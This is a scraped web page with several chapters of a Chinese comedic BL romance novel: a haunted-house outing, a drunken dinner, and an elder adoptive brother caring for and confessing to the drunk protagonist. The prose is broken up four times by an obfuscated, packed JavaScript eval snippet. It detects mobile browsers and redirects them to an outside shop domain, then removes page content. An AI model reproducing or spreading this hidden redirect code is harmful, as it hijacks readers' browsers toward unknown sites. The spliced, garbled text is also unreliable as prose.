d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14320545|152444||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 愣着干嘛?”买完了票后,夏语年转头看见夏知鱼呆愣的站在旁边走神,心想自己忙活半天没等到一句感谢,对方竟然还敢走神! 他说:“你过来,去给我买俩冰激凌,再给我买个气球,晚上回去再给我炒俩菜!” “???”夏知鱼眯起眼,语气变得阴森森:“你是说我?” “……没有,我是说咱俩去玩鬼屋吧。”夏语年一秒怂。 穿过若干个游乐设施,夏知鱼和夏语年来到鬼屋前,工作人员走过来给每人发了一根荧光棒,并嘱咐他们:“咱们这个鬼屋都是真人NPC哈,如果胆小不想让NPC吓唬或者拉去单人任务的,就晃动手里的荧光棒示意他们。” 夏知鱼道了声谢接过来,一根掰碎戴在自己手上,另一根递给夏语年:“给,拿好了,关键时刻保命用的。” “我会需要这个?”夏语年嗤笑一声,接过荧光棒戴在手上:“我可是公认的胆子大,这点小把戏是吓不到我的。” 夏知鱼无语的看着对方行云流水的动作,要不是他戴荧光棒的动作太过急切,夏知鱼就信了。 “走吧。”夏语年说。 两人步子还没迈开,身后传来一阵喊声。 “小鱼哥哥,好巧。” 听声音也知道,是张池。 夏知鱼换了个假笑转过身:“张池,是你啊,好巧,你也来鬼屋玩?” 张池把手腕上紫色的荧光棒手环展示给夏知鱼看,算是默认了他的回答:“既然遇见了,就一起进去吧小鱼哥哥。” 他又看向夏语年:“这位……就是小鱼哥哥的弟弟了吧?” 夏语年想出言反驳,但张了张嘴却无从下口。 张池说得对,名义上夏知鱼确实是自己的二哥。 他憋着一口气先走向了鬼屋门口。 鬼屋的门前使用染着红褐色污渍的厚重门帘隔开的,除此之外,帘子正中间贴着黄色的符纸,把鬼屋的阴森神秘拉满了。 工作人员营造恐怖气氛,故意在门口放恐怖背景音乐,还在在犄角旮旯打开冷风,吹得人直哆嗦。 夏语年站在门口心跳如打鼓,但他转头看见夏知鱼和张池,两人满脸镇定,泰然自若,就像不是一个世界的人,不知道的还以为他俩要去玩旋转木马呢。 夏知鱼察觉到夏语年强烈的目光,故意问:“怎么了夏语年小朋友,害怕的话现在反悔还来得及哦。” “谁、谁怕了!我字典里就没有怕这个字好吧。”夏语年皱起眉:“让我走前边,今天我就让你看看,我夏大胆有几只眼!” “你还想有第三只眼?口味挺重。”夏知鱼随口敷衍,拿出手机照着自己戴荧光棒的手环一顿乱拍,然后从中挑选一张光影构图都最为满意的佳作发了个朋友圈,并配文:和傻弟弟一起来游乐场了。 不到半分钟,夏云祈发了消息过来:在哪? 夏知鱼勾起唇角回了条语音过去:“在新开的游乐场,和弟弟还有无关人员一起玩。” 那边“正在输入中”好半天,然后简短的发过来两个字:等我。 15. 鬼屋 恐怖音乐在头顶,在空荡的房间里变成了3D效果,配上不知道哪里吹来的凉风把恐怖气氛渲染的淋漓尽致。 昏暗的白炽灯挂在天花板,随着音乐的节奏闪烁。 夏氏在游乐场有投资,夏云祈来得稍晚了一点,和工作人员打了个照面就被带进去和夏知鱼一行人汇合,他本来是在工作的,看夏知鱼发的朋友圈角落出现了一抹模糊的身影,仔细辨认后确定了,那人就是阴魂不散的张池。 他放下手头的工作,找了过去。 刚一见到夏知鱼,就给身边的工作人员使了个眼神,难为那工作人员在昏暗的环境下还能辨认出夏云祈的意思,转头对张池说:“先生,恭喜您出发了单人任务,在其他人走剧情的时候您要跟我走,完成任务才能和其他人汇合。” “单人任务?”张池戒备的看了一眼夏云祈,纳闷怎么这人一来自己就被带走了,真不是他搞了什么小动作? 他有转念一想,这人也没这么大能耐,又不是夏氏的继承人,说一就是一吗? 看着张池被带走的背影,夏知鱼难得思考起来,怎么夏先生一来就出发单人任务了……片刻后得出结论:看来得随大流,不然就要被带去做单人任务了。 夏语年看着眼前人有些眼熟,总觉得在哪见过这张鬼斧神工的脸,可是搜刮了脑子的所有记忆也想不起来到底是哪个,于是干脆放弃。 夏云祈松了口气,他从小作为继承人被被养在国外,夏知鱼没见过这个活在别人口中的哥哥,夏语年更没见过,这倒是方便他套马甲了。 正好看看这两个弟弟平时是什么样的。 打定主意,夏云祈主动打招呼:“小鱼,真巧,我看见你发朋友圈,正好我在附近谈工作,就来了。” “缘分,一起玩吧,恐怖解密向,可以吗?”夏知鱼问。 “嗯,可以。”夏云祈回答。 夏语年在旁边看的直摆头,这样融洽的气氛他竟然难以融入! 很快,在夏知鱼的带领下,三人成功进入下一个场景,线索提示夏语年所扮演的角色要单独打开房间角落里的红色半人高木箱子,夏语年吞了吞口水,死死盯着箱子,硬生生走出了视死如归的气势。 随着箱子弹开发出“吱呀”一声,里面一只硅胶质地,上面画着特殊颜色的假手弹在夏语年的脸上。 夏语年石化一般愣在原地,心里一遍又一遍告诉自己,那东西是假的,只是沾了颜料的道具罢了,没什么好怕的,可他怎么也控制不住目光,自·虐似的看向假手。 几分钟前还说着自己什么都不怕的夏语年怎么也想不到,在短短的几分钟后,自己被狠狠打了脸,他发出尖锐的爆鸣,几乎是弹射起步,想也不想躲到夏知鱼身后去了。 “别怕,假的。”夏知鱼把那假手踢远,拍拍夏语年的手背:“你看,现在没有了。” “谢、谢谢。”夏语年一看,那假手真不见了,结结巴巴说:“我、我不是怕啊,就是、就是……” 就是了半天也没就是出个所以然来,夏知鱼接过话茬:“对,你不怕,你就是给这假手一个面子。” “哈啊,没错,你知道就好。”夏语年嘴上这么说着,表情也无比坦荡,要不是他还紧紧抓住夏知鱼的手,夏知鱼就要信了。 他说:“别废话了,快点往前走,让你们知道本少爷的胆子到底有多大。” 夏知鱼点点头,笑道:“好啊,走吧。” 鬼屋的防护措施做得很好,有些出现恐怖场景的场地边边角角都被海绵包起来防止磕伤,下坡的地方也都做了防滑处理。 美中不足就是为了让扮演鬼的NPC看起来更加飘逸,地上和四周低处的墙会吹出细风带动NPC的裙子。 有没有带动裙子不知道,但是带动了夏语年的屁股。 带着凉意的风轻拂过夏语年包的严严实实的屁股,每走一步都像是有什么阿飘在掀他裤子,搞得他每走几步都要停下来拽一拽。 他的手还拉着夏知鱼的手,细细密密的汗蔓延了夏语年整个手心,夏知鱼察觉到他的紧张,出言安慰:“冷风吹着你也会热吗?” “!!!”夏语年:“不会说话就别 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14320546|152444||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说了。” “好的。”夏知鱼闭上嘴,和夏语年错开一个肩膀的距离。 一直到离开鬼屋,夏语年都不肯放开夏知鱼的手。 夏知鱼和水拧瓶盖,夏语年和他十指相扣,含情脉脉看着他,没办法,夏知鱼没有甩开他的手,默默承受他造下的孽,任夏语年的手悬在半空喝下了水。 从鬼屋出来后,夏知鱼的发型有些乱,他让夏云祈举着手机打开摄像头,任夏语年的手悬浮在半空整理好了头发。 夏知鱼想伸手整理一下领子,任夏语年的手悬在半空…… 忍不了了!!! 夏知鱼深吸一口气看向夏语年:“你想就这样牵着我的手不放开?” 夏语年茫然,不解,配合,接唱:“爱能不能够永远单纯没有悲哀……” “放手吧,我不接受骨科,我们没有结果的……”夏知鱼一脸沉重,眼中写满了痛苦与纠结。 夏语年果断松手:“别演了,好恶心。” “哦。” 看完了全过程的夏云祈默默后退两步,决定假装不认识这两个戏精。 …… 一直等到张池做完单人任务出来,四人站在一起才发觉多了两个人的“陪伴”打乱了夏知鱼和夏语年的“兄弟情计划”。 眼看着天就快黑了,夏语年咬着唇珠思考,甚至已经开始考虑重启母亲大人的电影院一日游。 路边摊的香味随着风飘进夏知鱼的鼻腔,他舔了舔唇:“天下果然没有不透风的墙。” 夏云祈问:“为什么这么说?” 夏知鱼:“外面的食物真香。” “……”夏云祈还以为夏知鱼发现了什么,原来是晚餐时间到了,是他高估夏知鱼了。 没等其他人说话,张池挤进夏知鱼和夏云祈中间:“既然天快黑了,咱们正好一起去吃饭,你觉得怎么样啊小鱼哥哥?” 晚饭? 那当然好了,最好去月下居吃鱼,小鱼哥哥就是要吃小鱼的。 思及此,夏知鱼猛猛点头:“好啊,一起去吃饭吧。” 16. 醉鱼 两个人的约会变成了四个人的修罗场,八只眼睛眨啊眨,迸溅出来的火花噼里啪啦。 夏云祈和张池各怀心事,复语年的眼神就好懂多了,仅一眼,夏知鱼就读懂了他潜在的意念:到底什么时候能动筷!这两尊大佛看起来不想吃鱼,想吃小鱼。 最后一道菜上好,夏云祈做出东家姿态故意道:“张先生多吃一点,毕竟月上居的名菜不是随随便便就能吃得上的,还是托了小鱼的福啊。” 张池忽略这满是挑衅的语气,用公筷夹了一只虾放在夏知鱼面前的盘子里:“小鱼哥哥,吃这个!” “啊,谢谢谢谢谢谢……”夏知鱼动了动手指,忽然感觉身边出现一道炙热的目光,他本能转过头去,两道视线相交,复知鱼飞速移开目光。 不得了! 他居然在夏云祈的目光中读出了威胁的意味! 难道吃下这口虾就要变成“酸菜小鱼”吗? 夏知鱼沉默着放下了手指,并向夏年投去求救的目光:“help!SOS!救我!” 夏语年抬起埋在盘子里的脸,优雅从容抽了一张餐巾纸擦擦嘴:不必炫耀,有人投喂虽然好,但自己动手才是自由的,我并不羡慕你。 “……”夏知鱼。 现在他能深刻的体会到什么是“两两相望,唯余失望”了。 “小鱼不喜欢吃虾。”夏云祈用公筷夹了一块鱼肉放进夏知鱼的盘子里. 这鱼是他特意点的,上次他和夏知鱼来月上居吃饭时注意到,对方一个人几乎吃掉了一整条小臂长的鱼,还直夸好吃。 “谢谢谢谢谢……”这次烤人的目光换了方向。 可是那鱼的确比虾好吃……不吃就浪费了!浪费可耻。 经过零点零一秒的思想斗争后,夏知鱼飞速吃掉了那块鱼肉,并发出了满足的唱叹。 不知是不是错觉,夏知鱼看到夏云祈得逞后一抹转瞬即逝的笑。 张池“哼”出声,不甘示弱又夹了菜放进夏知鱼的盘子,夏云祈也不紧不慢给他夹菜,还都放在了盘子的另一边,誓要与张池来的菜划清界线。 夏知鱼:!!!崩人设了!不要再掰头了! 很快,夏知鱼面前的小盘子就堆成了两座显眼的小山,夏语年也在无声中流下了羡慕的口水。 一顿饭在筷子打架中开始。 夏语年看着气氛不错,叫上服务员拿了些酒。 “今天咱们不醉不归!”他打开一瓶度数不低的酒,兑进手边颜色鲜艳的不知名果酒里,摇晃匀均后递给夏知鱼:“我听说这样调出来的酒很好喝,给,第一杯给你。” “冒味的问一句,是谁告诉你这样唱的?”夏知鱼接过酒杯放在桌上,顺便拿出手机给乔晚发信息请假。 “唔,你的那些狐朋狗友啊。 “……现在是你的狐朋狗友了。“夏知鱼:“以后离他们远一点吧。” “哦……” 夏语年如法炮制出好几杯酒分下去:“干杯!” 夏知鱼酒杯凑近鼻子,清冽的果香与酒香争先后钻进他的鼻腔,勾他的馋虫,他端起酒杯试探着舔了一点。 该死!竟意外的香甜! 唇齿间是甜而不赋的果香,回味无穷。 “怎么样?还不错吧?”夏语年亮闪闪的眼睛看过去,等着夏知鱼给他一个满意的答复。 “确实还不错。”夏知鱼:“你们也试试啊,你们也喝!” 酒过三巡,夏语年已经变成斗鸡眼,走起路也东例西歪了:“醉?本少爷的字典里就没有醉这个字!看我用盘子耍个杂技证明一下!” 夏知鱼爬在桌子上慢悠悠开口:“夏少这字典这也没有那也没有,就剩下封皮了?” 短短一句话,他咬了三次舌头,惹得夏语年一阵又一阵“咯咯哒”的嘲笑。 张池喝的少,夏云祈根本就没喝,想着总要有人收拾烂瘫子。 “你们两个,怎么不合群?酒不好喝吗?”夏语年又给自己倒上一杯,迅雷不及掩耳盗铃之势风暴吸入,由于喝的太急,辣的呛了好几口:“奇怪,这酒怎么越喝越辣?” 正说着,他给夏知鱼倒了一杯:“夏知鱼,你、你来尝尝,这酒是不是不对劲?” 能对劲吗?先前他们喝的是夏语年精心调制的酒,后来夏语年喝醉了,当然不可能调小甜酒了,俩人喝伏特加已经有一会了。 夏云祈夺过夏知鱼手里的酒杯,带着警告说:“都不许再喝了,现在送你们回家。” 夏语年还在抱着酒瓶子嘟囔:“吃饭喝点酒,活到九十九!什么回家?我四海为家……” “那我,五谷丰登?六六大顺,七星瓢虫……”夏知鱼不同声但同频:“八、八……爸,我没钱了,呜呜呜,我没钱了,但我向来如此,我有两个钱包,一个是空的,另一个也是空的。” 夏云祈扶夏知鱼的动作一顿,他之前调查过,自从他和田丹发生冲突以后, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14320547|152444||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就再也没用过夏家一分钱,甚至在外面租的房子用的也不是自己介绍的房源。 看来是铁了心要脱离夏家。 下月初的家庭晚宴会请记者到场,为的就是宣布夏语年的身份,到时候夏知鱼呢?会借机宣布离开夏家吗? “喂!你别碰夏知鱼!”张池身形也有点摇晃,不过他喝的不多,很快就稳住了:“把你的手拿开!” 夏云祈闻言挑挑眉:“哦?不叫小鱼哥哥了?看你整天咯咯咯咯咯的,还以为是什么人间鸽子精。” “你!”张池显然没想到夏云祈竟然撕破脸说得这么直白,一口气没上来,头更晕了。 夏云祈拿出手机给夏家的司机打了个电话让他把夏知鱼和夏语年带回去。 有时候他都怀疑,也许夏知鱼和夏语年才是夏以德的亲儿子,不然怎么喝了酒都爱搞一点抽象。 “我不想回夏家……”夏知鱼倒在夏云祈肩膀上,温热的气息吐在后者脖颈,软软的,撒着娇。 …… 最后就是,夏云祈脑子一抽把夏知鱼带回了自己住的地方,夏家的司机只接走了夏语年。 他住的地方离夏知鱼租的小区公寓不算远,不过想着这样一条小醉鱼回去肯定不能照顾自己,索性就带他回了自己的住处。 哥哥照顾醉酒的弟弟理所应当,哥哥担心弟弟的人身安全天经地义,哥哥……编不下去了。 远在夏家的夏语年:QAQ,那我算什么? 没有了理智的夏知鱼异常兴奋,浑身上下有使不完的牛劲,夏云祈输密码开门那么几秒没注意到他,他就自己摇晃着走到电梯前准备搭乘最近一趟电梯潜逃。 好在夏云祈反应快,拉住半条腿迈进电梯的夏知鱼:“想往哪跑?” 夏知鱼红扑扑的脸冲着夏云祈嘿嘿傻笑。 “算了,先进来,喝不喝水?”夏云祈拿出一双新拖鞋放在夏知鱼脚边:“胃难不难受?” “唔?咯咯哒?”夏知鱼歪着头,顶着晕乎乎的脑袋笑了笑。 夏云祈叹了口气:“算了,醉鱼是听不懂话的。” 夏知鱼舔了舔唇,攀上夏云祈的脖子,咯咯咯咯咯笑个不停,任夏云祈给他换好拖鞋,又喂给他一点温牛奶。 “小帅……”夏知鱼亮晶晶的眼睛紧盯着夏云祈的脖颈,磨着牙趁其不备咬了上去,感受到夏云祈的僵硬,夏知鱼满意退开一点,小声说:“其实我不是夏知鱼,我来自另一个世界……” 17. 色鱼 “我只告诉你一个人哦,你不要和其他人说,其实我来自另一个世界,带着秘密……”夏知鱼扬着脑袋撅着嘴,自以为很小声,但其实声音大得震耳朵。 夏云祈身体一震,一个诡异的想法抽丝拔茧出现在他的脑海,怪不得夏知鱼行为异常,言语间像换了一个人一样,如果真如他酒后吐真言的话…… “所以你是谁?”夏云祈僵硬的问。 “我是……”夏知鱼拖着长长的尾音倒在地上吧唧嘴。 太会钓人胃口了,夏云祈磨了磨牙,他快要怀疑夏知鱼是装醉,故意这么做的了。 “我是来自异世界的凹凸曼,执行一个秘密任务。”夏知鱼闭着眼睛笑出声,身体紧贴着地面摆出一个“大”字,脑袋不安分的左右摇动,样子滑稽极了。 听到他这么说,夏云祈松了口气,然后自嘲一般笑了,也是,他人都醉得胡言乱语了,自己怎么就信了一条醉鱼的鬼话了呢! 这样躺在地上也不是个办法,时间久一点会着凉,夏云祈耐着性子哄劝,想把人从地上薅起来,奈何夏知鱼扒着地板的手像八爪鱼的吸盘似的,夏云祈只好和他说话分散他的注意力。 “能告诉我你的密秘任务是什么吗?”夏云祈问。 夏知鱼眉头拧到一起:“都说是秘密了,我是不会说的,背叛组织这种事我夏……语年做不出来!” 他眯起眼睛,从夏云祈的腿扫视到脸,呕吧两下嘴:“你长的真好看,把秘密告诉你的话也不是不可以,只是有个条件。” “什么条件?” “你给我讲白雪王后大战哥斯拉的故事……” “……” 沉默,是今晚的夏云祈。 最后夏知鱼也没如愿听到那个莫名其妙的故事,因为他被夏云祈从地上抠起来,一路被抱着进了放好温水的浴室。 “你真帅,能不能做我的女朋友?”夏知鱼吸溜着口水,眼睛一眨不眨盯着夏云祈那双幽深的眸子。 “我是男的。”醉鱼的话不能当真,夏云祈坚定地说。 “男的也能做我女朋友,性别不是问题。”夏知鱼不死心,他想,烈女怕缠郎,他一定能成功。 “为什么不能是男朋友?”夏云祈反问 “因为我是男的啊。”夏知鱼理所当然。 “你说的,性别不是问题。”夏云祈笑了一声。 “……对喔,好吧,你说得对,为了奖励你,我会告诉你我的任务是什么,其实我是被派来阻止一个光头砍树的。” 夏云祈更加无语。 他用温水浸湿毛巾仔细给夏知鱼擦了脸和手,叮嘱他在原地不要走动,自己去给他倒一杯蜂蜜水。 夏知鱼乖巧的坐在浴缸旁边的椅子上翘脚脚,闻着浴室中飘来飘去的夏云祈沐浴露的味道思考:这就是有钱人的味道吗? 如果以后他有了钱,就丢掉自己仅剩的素质,到时候他吃泡面都要多加一个蛋! 倒水里来就看见夏知鱼和自己白嫩的jiojio玩得开心,整颗心都被萌化了。 直到他走到真知鱼身边听清对方的碎碎念:“我是一个宝藏,谁都找不到我!不!我是一条来自深海的鱼,不可以养在淡水里!咯咯咯咯——我可真会游泳。” “夏知鱼!安分一点!”夏云祈把人带到怀里,一口一口的喂水,看着夏知鱼粉嘟嘟的唇贴上杯檐,压抑着用手去拔弄两下的冲动。 “凶!”夏知鱼无能狂怒,胳膊不老实乱动起来。 他湿漉漉的眼睛瞪着夏云祈,仿佛要将自己所有的愤怒都通过这道目光映射出来。 “别、别看了。” 无辜的眼神总是能激起保护欲,夏云祈也不例外,尤其是对方是夏知鱼的时候,夏云祈连语气都下意识温柔起来。 这样的夏知鱼无辜的像头山林中的小鹿……不,行为像傻狍子。 “可以抱抱吗?”夏知鱼举起手臂。 要抱吗? 夏云祈脑中天人交战,夏知鱼经从善如流攀上夏云祈,开始下一步动作。 对方身上沐浴露的香味很独特,也很吸引人,夏知鱼遵从内心,把脸贴人家胸口用力蹭蹭。 他忽然想起那时在月上居,田广盛也是一身酒气扑向自己,和田广盛不同的是,他失败了,而自己确确实实贴在人家怀里,扒都扒不下来。 真是一条小色鱼! 夏知鱼动了动埋在夏云祈胸口的鼻子,心中安慰自己,最起码他比田广盛帅上十倍,不,一百倍!一千倍! 也许是埋得时间过于长了,夏知鱼有点喘不过气,只能不舍的抬起脸。 “不继续了?” 上头传来一声闷笑,连同胸腔一起震动。 “……听不懂你在说什么。”夏知鱼心虚别过头去。 “困了吗?想不想睡觉?”夏云祈把人重新安置到客厅的沙发上之后问:“我去给你铺床,你乖一点在这里等我,不要乱跑,好吗?” 夏知鱼点点晕乎乎的脑袋,管他说了什么呢,先点头再说. 得到肯定的回答,夏云祈才放下心去客房找新床单。 自从买了这套房子,客房里还没留过人,其实连他自己都没回来几次,柜子里只有两套换洗的床上用品,除此之外,里面空荡荡的。 换好三件套,夏云祈拿着脏被单出了客房。 客厅的沙发上哪里还有夏知鱼的身影,目光所及之处根本看不见这条小醉鱼。 大事不妙的感觉涌上心头,夏云祈顾不得手上的东西:“夏知鱼!?你去哪了?” “乌拉!” 浴室里传来哗啦的水声,伴随着夏知鱼一声高亢的“乌拉”,浴缸里的水迸溅的例处都是,他趁夏云祈不往意跑进浴室,给浴缸放满了温水后跳了进去,于是在夏云祈闻声赶来时,就看见夏知鱼趴在浴缸里欢快地扑腾胳膊,把水花溅的到处都是。 “夏知鱼!” “唔?”听见自己的名字,复知鱼动作一顿:“我是鱼,听不懂人类的话……” 夏云祈呼出一口浊气,他怎么就信了醉鱼的承诺了呢! “别乱动,我捞你出来。”夏云祈扔下脏被单,卷起衬衫的袖子走过来。 夏知鱼完全浸在水里,粉色的头发湿哒哒粘在额头上, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14320548|152444||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 浸透了的衬衫也紧贴着身形,勾勒出夏知鱼完美的腰线。 夏云祈鬼使神差伸出手,顺着衬衫褶皱向上摸了一把,滚烫的触碰到夏知鱼腰上的软肉,猛得回过神来。 他刚才在干什么! 那是他弟弟! 虽然只在小时候见过几面,并且没有血缘关系……对了,现在还不在一个户口本上了。 “……”夏云祈。 “…………” 这样一说…… 夏云证愣在原地,短短几秒钟想通了很多事。 直到直知鱼在水里“咕噜咕噜”冒泡,夏云祈才想起来把他捞出来。 衣服太湿已经不能穿了,夏云祈这套房子里又没多准备一次性睡衣,只好找出一套洗干净的,他自己的睡衣。 这样闹不能再把夏知鱼一个人放在客房睡了,保不齐他会半夜偷偷溜出去钻进浴缸里cosplay咸鱼把自己淹死。 想通了这一点,夏云祈把夏知鱼提溜进主卧插好吹风机,任劳任怨给后者吹头发。 夏知鱼就坐在床边,眯着眼睛满脸享受的表情,还在不经意间发出哼哼唧唧的声音。 “烫吗?”夏云祈手掌挡在吹风机前调试温度,顺手揉了揉夏知鱼蓬松柔软的粉毛,意料之中的,手感还不错,甚至有些上瘾。 “不。”夏知鱼回答。 夏云祈笑了一声:“现在听得懂说话了?” 夏知鱼眨巴眨巴眼睛,回答他:“小鱼听不懂,小鱼想听故事。” “你乖乖睡觉,我给你讲故事,好不好?”夏云祈用哄孩子的语气商量:“不然晚上乱跑,是会被猫抓去吃掉的。” 想他堂堂一个夏氏的掌权者,居然会用这么羞耻的语气和夏知鱼说话,这件事绝对不能让第三个人知道。 “好吧,你说话算话,我乖乖睡觉你就给我讲故事。” “好。” 然而夏知鱼还是没能如愿听到故事,因为吹完头发换好睡衣,他的注意力就被夏云祈胸前鼓起的部分吸引了注意力。 迅猛如夏知鱼,管他三七二十一就伸手捏了一把,全然不顾夏云祈僵硬的动作和发出的闷哼,只觉得那凸起的部分□□弹弹,手感好得不得了,如果可以的话想一直拥有,这样就可以随时把玩。 可是他自己的一点都不好捏! 想到这,夏知鱼撅起嘴,既然以后就摸不到了,不如现在摸个够! 他伸出细长的食指在夏云祈胸肌上点了点,然后笑出声,任由夏云祈搂着自己塞进被子里。 夏知鱼的手好像摸到了什么凸起的小点点,他觉得很影响整体手感,于是决定勉为其难帮它扣下来。 换来的是夏云祈低沉的制止:“夏知鱼!收敛一点!” “唔?”夏知鱼抬着脸,眨巴着满是水汽的大眼睛试图装作听不懂逃过一劫。 “你知不知道我是谁?夏知鱼,睁大眼睛好好看看。”夏云祈捏着夏知鱼的下巴,强迫他看着自己:“我是你哥哥,是夏云祈,知道了吗?希望你酒醒了之后也能这么大胆,也希望你能记住我接下来这句话,夏知鱼,我喜欢你。” 18. 逃避 毯子被床上的人踢到地上,连枕头都悬在床边。 地上堆积着一坨脏乱的衣服,看起来还有点潮湿,场面简直槽糕极了。 夏知鱼仅一眼就认出,那是他价格高昂的衬衫和裤子! 此刻的他顶着一头鸟巢般的头发呆愣愣坐在床的正中心,他的胃里一阵接一阵的翻腾,心也跳得历害,耳朵中“嗡嗡”声接连不断。 整个房间静悄悄,衬得呼吸声都十分明显。 他只记得昨晚夏语年给了他一杯特调的酒,他舔了一口觉得口感还不错,于是一杯接着一杯,一瓶之后又是一瓶,然后他就成功在没有一粒花生米的情况下把自己灌醉了。 之后呢?他之后又做了什么? 哦对了,只是诗兴大发喊了几嗓子,只是在水里扑腾了几次之后说自己是来自深海的鱼,只是缠着别人让别人给自己编根本就不存在的童话故事,只是捏了人家的胸肌占了人家好几次便宜还理所应当…… 夏知鱼闭上眼睛吐出一口浊气:还是毁灭吧!现在扛着飞机跑路来得及吗? 床上只有他一个人,夏云祈不知道去了哪里。 夏知鱼环顾四周,确定自己身边没有什么可以疑的“娃娃阻隔套”之类的用品后松了口气,最起码保住了菊花,这是他最后的底线! 身上没有什么奇怪的痕迹,嘴里也没有奇怪的味道,连衣服…… 等等!!!衣服!!! 衣服啊! 地上那一坨,那是他来时穿的衣服,现在却没在自己身上,而是被凌乱地扔在了地上。 那自己身上这衣服呢?是夏云祈换的? 昨晚都玩的什么,连衣服都湿了。 还有就是,他全身上下都没有异常,那难道其实他自己是上面那个? 夏知鱼陷入深深地自我怀疑中:嗯?我也能当攻了? 他抓了抓头发,看起来不是那么乱后下了床,卧室里没有夏云祈的踪迹,卫生间和厨房也没有,看样子应该是出去了,这样正好方便了夏知鱼行动,他来不及洗漱,把搭在衣架上的外套披在身上,踩着鞋落荒而逃。 随着门一开一合,夏知鱼迈开一双长腿跑走了。 “天啊,我都做了什么啊,我以后还怎么面对夏先生,我居然、我居然……上了·他?”夏知鱼埋着头快速倒腾两条腿,这里离他租的小区很近,回去换一身衣服吧。 …… 厚厚的云层兜住阳光,灰色的云遮天蔽日,夏知鱼刚到家外面就下起细细的小雨。 换好衣服后夏知鱼把从夏云祈家里传回来的衣服扔进脏衣篓里,然后摸索着拉住窗帘,一个人挪到卧室的床上看手机。 整整一个晚上没看,夏知鱼刚连上WiFi就被弹出的无数条信息吓了一跳,先是乔晚八卦他为什么突然请了假,后是唐浸月问他怎么没和夏语年一起回去。 夏知鱼有点心虚,一一回复了信息才把脸埋进枕头里生无可恋的呼吸。 恍惚间,一丝熟悉的感觉涌上心头,当他即将捕捉到那点记忆时,又像是步入了满是雾气的森林。 “总觉得夏先生说了什么很重要的话……” “你们都给我变鸟~~变好多好多的鸟……” 富有魔性的来电铃声自夏知鱼耳边响起,夏知鱼抬手盲摸,在接通电话的前一秒瞟了一眼来电人的名字——夏先生。 吓得他立刻挂断了电话。 还是让暴风雨晚些来吧,夏知鱼暗暗保证,他绝对不当一个不负责任的渣男,但是要给他一点时间消化一下从零到一,质的飞跃。 逃避虽然可耻,但是有用,夏知鱼重新埋回脑袋,带着纠结睡了过去。 …… 一直到下午夏语年夺命连环call打过来,夏知鱼才悠悠转醒,他带着鼻音接起电话:“你好,找谁?” “夏知鱼!你还知道接电话啊,爸妈都快担心死你了。”夏语年凉飕飕的声音咆哮说:“晚上回来吃,爸妈都在家。” 说完就挂断了电话。 他这个人一向喜欢手机静音,以前电话铃声也是静音的,但最近再聊直播平台签约分成的事,难得打开了声音。 挂断电话,夏知鱼抹了一把脸,慢悠悠爬起来洗漱:“真是的,吼什么吼,吵死了……” 回到夏家,夏知鱼推开门,捕捉到一只夏语年站在门口,皱着眉环着胳膊靠在门框上。 “嗨~帅哥,一个人吗?”夏知鱼挥了挥手,冲他笑笑。 “不,半个人。”夏语年白了他一眼:“坦白从宽,说吧,昨晚是在哪个男人家里过的夜?有没有发生什么不可挽回的事故?你的……屁股怎么样?” 夺命三连问一问接着一问。 没得到满意的回答,夏语年围着夏知鱼转了好几个圈,突然凑近闻了闻他身上的味道,然后得出结论:“没有什么奇怪的气味,难道你还是干净的?” “……”夏知鱼:“你知道你现在像什么吗?” 夏语年骄傲的哼哼起来:“那还用说,当然是一个弟弟关心在外鬼混的哥哥。” “首先,像狗,其次,我才是哥哥。”夏知鱼假笑,绕过夏语年径直进了屋。 留下夏语年愤愤跟上,絮絮叨叨说:“切,早就听说你不喜欢女孩子,偏爱弯弓和大雕,怎么,你的屁股真没事吗?别是怕我笑话你所以才不说的吧?” “哪凉快哪待着去。” “哦。” 傍晚时候,王妈买了不少新鲜的菜回来,说要做一顿大餐,不一会唐浸月带着夏以德也回到家,手里拿了三个粉色的,包装精致的盒子神秘兮兮进了主卧,说是给孩子们准备的惊喜。 吃完饭,夏以德坐在沙发上看手机,唐浸月坐在一边咳嗽两声。 “咳咳!” 夏知鱼问:“妈妈,您感冒了?” “哈,没有没有……”唐浸月赶紧笑笑,说:“我没事。” 夏以德不为所动,依旧扒拉着手机。 如果夏知鱼足够细心的话,能够发现,夏以德这个视频已经来来回回刷了三遍不止。 “咳咳!”唐浸月这次用腿撞了撞夏以德的腿。 